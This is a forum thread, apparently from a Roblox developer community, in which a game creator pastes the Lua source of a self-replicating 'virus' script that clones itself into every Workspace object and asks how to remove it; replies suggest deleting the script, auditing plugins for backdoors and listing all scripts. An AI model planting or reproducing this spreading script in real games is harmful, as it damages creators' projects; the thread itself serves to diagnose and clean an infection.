Well, I got a virus

So I got a virus on my game, how to remove it without removing the world?
This is its code

function spread()
local stuff = game.Workspace:GetChildren()
for i = 1, #stuff do
if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
local clone = script:clone()
clone.Parent = stuff[i]
end
end
end

while true do
wait(.1)
spread()
end

function GetAllItems(mdl) 
local objs = {} 
function Search(obj) 
if obj~=workspace then 
table.insert(objs,obj) 
end 
if #obj:GetChildren() > 0 then 
for i, v in ipairs(obj:GetChildren()) do 
Search(v) 
end 
end 
end 
Search(mdl) 
return objs 
end 



for i, v in ipairs(GetAllItems(workspace)) do 
if v.className == "Script" then 
if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then 
v.Parent = game.Lighting --Just in case it has a removal prevention. 
t = Instance.new("ObjectValue") 
t.Name = "IsAVirus" 
t.Parent = v 
end 
end 
end 

for i, v in ipairs(game.Lighting:GetChildren()) do 
if v:findFirstChild("IsAVirus") then --Only remove the viruses. 
v:remove() 
end 
end 

it was only visible when running game on server client. It looked like this


I don’t know how to deal with it, guess ill remake my game…
It removed some of my models…

Without using toolbox ';-;

2 Likes

Just remove the script and it should be fine.

atleast it’s not a backdoor, just remove all the scripts that are named vaccine

I agree with what @oofblocks said. Remove the script in the studio so the script won’t execute in the game. Unless if it’s from a plugin, that could be a backdoor.

It is visible only when the game is running, it is spreading when the game is running, i can’t simply remove it

If you can’t see the “Vaccine” script while not running the game, then you have a virus in one of your plugins. I would uninstall all your plugins and reinstall them one by one until the vaccine script shows up again.

It has a source though. Run this (because I don’t remember if there is an easier way)

local l = {}
local function iterate(p)
    for i, v in pairs(p:GetDescendants()) do
        if v:IsA("LuaSourceContainer") then l[#l+1] = v end
    end
end
iterate(workspace)
iterate(game.ServerScriptService)
-- Add any locations you think the script might be in, but I think this should do it.
local o = ""
for i, v in pairs(l) do
    o = o .. v:GetFullName() .. "\n"
end
local s = Instance.new("Script", game.ServerStorage)
s.Name = "Output"
s.Source = o

Run that in the command bar, and it will output a list of all scripts in the game (or in the locations you specified) to a file called Output in ServerStorage. Check on any of the scripts listed that you do not recognize. If it is not there, then it could be a plugin. Typically a plugin would be active when you were not running the game, but it is possible.

3 Likes

Yes, like what @Troidit said, it could be a backdoor from one of your plugins you are using. You could show us what plugins you are using and also, in the future make sure to check if the plugin is well trusted by checking if the creator is reliable, dislike and like ratio, and code source as well.

Very well, there was a part with a mesh and mesh with a decal and decal with decal and so on. So it was hard to find it normally from workplace. Thank you!

Just to add on, an easier way to check if there’s a virus is by searching “script” in the explorer so you can scroll through every script much more efficiently.

1 Like

That’s what I wondered. It does actually search for scripts, and not just by name then?
Edit: It definitely does. Definitely just use the search bar.